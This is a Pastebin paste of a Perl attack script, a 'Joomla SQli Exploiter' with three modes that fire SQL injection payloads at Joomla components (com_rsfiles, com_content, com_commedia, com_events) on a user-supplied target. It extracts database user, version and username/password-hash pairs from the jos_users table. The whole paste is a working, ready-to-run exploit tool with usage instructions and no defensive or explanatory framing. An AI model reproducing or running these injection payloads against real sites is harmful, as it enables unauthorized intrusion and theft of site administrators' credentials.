BigBlackWidow

[PERL] Joomla com_rsfiles Sqli Exploiter

Mar 2nd, 2016
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.92 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use IO::Socket::INET;
  3. use LWP::UserAgent;
  4. system("clear");
  5. print "------------------------------------------------------------------------\n";
  6. print "########################################################################\n";
  7. print "#                         Joomla SQli 1.0 Exploiter                    #\n";
  8. print "#                      *Coded by Mauritania Attacker*                  #\n";
  9. print "# Greetz: AnonGhost - Mauritania HaCker Team - Procoder'z Team Albania #\n";
  10. print "########################################################################\n";
  11. print "------------------------------------------------------------------------\n\n";
  12. $target = $ARGV[0];
  13. $component = $ARGV[1];
  14. if($target eq '' || $component eq '')
  15. {
  16. print "Usage: ./exploit.pl <target> <Method Number> \n";
  17. print "-----------------------------------\n";
  18. print " Available Exploits :              \n";
  19. print " 1- Joomla Component RSfiles       \n";
  20. print " 2- Joomla General Sql Injection   \n";
  21. print " 3- Joomla Component JEvents       \n";
  22. print "-----------------------------------\n";
  23. print " Example: ./exploit.pl http://www.site.com/ 1 \n\n";
  24. exit(1);
  25. }
  26.  
  27. open(FILE, "> contents11.txt");
  28.  
  29. if($target !~ /http:\/\//)
  30. {
  31. $target = "http://$target";
  32. }
  33.  
  34. sleep 1.5;
  35. $agent = LWP::UserAgent->new();
  36. $agent->agent('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1');
  37.  
  38.  
  39. if($component == 1)
  40. {
  41. $host = $target . "/index.php?option=com_rsfiles&view=files&layout=agreement&tmpl=component&cid=1/**/aNd/**/1=0/**/uNioN++sElecT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--";
  42. print " . . Exploiting Component RSfiles on target $target . . \n\n";
  43. sleep 1;
  44. $req = $agent->request(HTTP::Request->new(GET=>$host));
  45. $content = $req->content;
  46. if($content =~ /([0-9a-fA-F]{32})/)
  47. {
  48. $password = $1;
  49. print "[+] Password found --> $password :) .\n\n";
  50. sleep 1;
  51. }
  52. else
  53. {
  54. print "[-] Password not found :( . \n\n";
  55. }
  56. }
  57.  
  58.  
  59.  
  60.  
  61.  
  62.  
  63.  
  64.  
  65. if($component == 2)
  66.  
  67. {
  68. print " . . Exploiting General Sql Injection on target $target . . \n\n";
  69. sleep 1;
  70. print " . . Trying different types of injection for this component . . wait please . . \n\n";
  71. $host = $target . "/index.php?option=com_content&amp;task=blogcategory&amp;id=60&amp;Itemid=99999%20union%20select%201,concat_ws(0x3a,username,password),3,4,5%20from%20jos_users/*";
  72. $host1 = $target . "/index.php?option=com_commedia&format=raw&task=down&pid=59&id=999999.9 union all select (select concat(0x3c757365723e, username,0x3c757365723e3c706173733e,count(*),password,0x3c706173733e) from jos_users),null--";
  73.  
  74.  
  75.  
  76. @hosts = ($host,$host1);
  77. foreach $hos(@hosts)
  78. {
  79. sleep 1;
  80. $req = $agent->request(HTTP::Request->new(GET=>$hos));
  81. $content = $req->content;
  82. if($content =~ /([0-9a-fA-F]{32})/)
  83. {
  84. $password = $1;
  85. print "Password found --> $password :) . \n\n";
  86. sleep 1;
  87. }
  88. else
  89. {
  90. print "Password not found :( . \n\n";
  91. sleep 1;
  92. }
  93. }
  94. }
  95.  
  96.  
  97.  
  98.  
  99.  
  100.  
  101.  
  102.  
  103.  
  104.  
  105. if($component == 3)
  106.  
  107. {
  108. print " . . Exploiting Component JEvents on target $target . . \n\n";
  109. sleep 1;
  110. print " . . Trying different types of injection for this component . . wait please . . \n\n";
  111. $host = $target . "/index.php?option=com_events&task=view_detail&year=union select 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10 from jos_users--";
  112. $host1 = $target . "/index.php?option=com_events&task=view_year&Itemid=50&year=union select 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10 from jos_users--";
  113. $host2 = $target . "/index.php?option=com_events&Itemid=34&task=view_year&month=11&year=union select 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10 from jos_users--";
  114.  
  115.  
  116. @hosts = ($host,$host1,$host2);
  117. foreach $hos(@hosts)
  118. {
  119. sleep 1;
  120. $req = $agent->request(HTTP::Request->new(GET=>$hos));
  121. $content = $req->content;
  122. if($content =~ /([0-9a-fA-F]{32})/)
  123. {
  124. $password = $1;
  125. print "Password found --> $password :) . \n\n";
  126. sleep 1;
  127. }
  128. else
  129. {
  130. print "Password not found :( . \n\n";
  131. sleep 1;
  132. }
  133. }
  134. }
Add Comment
Please, Sign In to add comment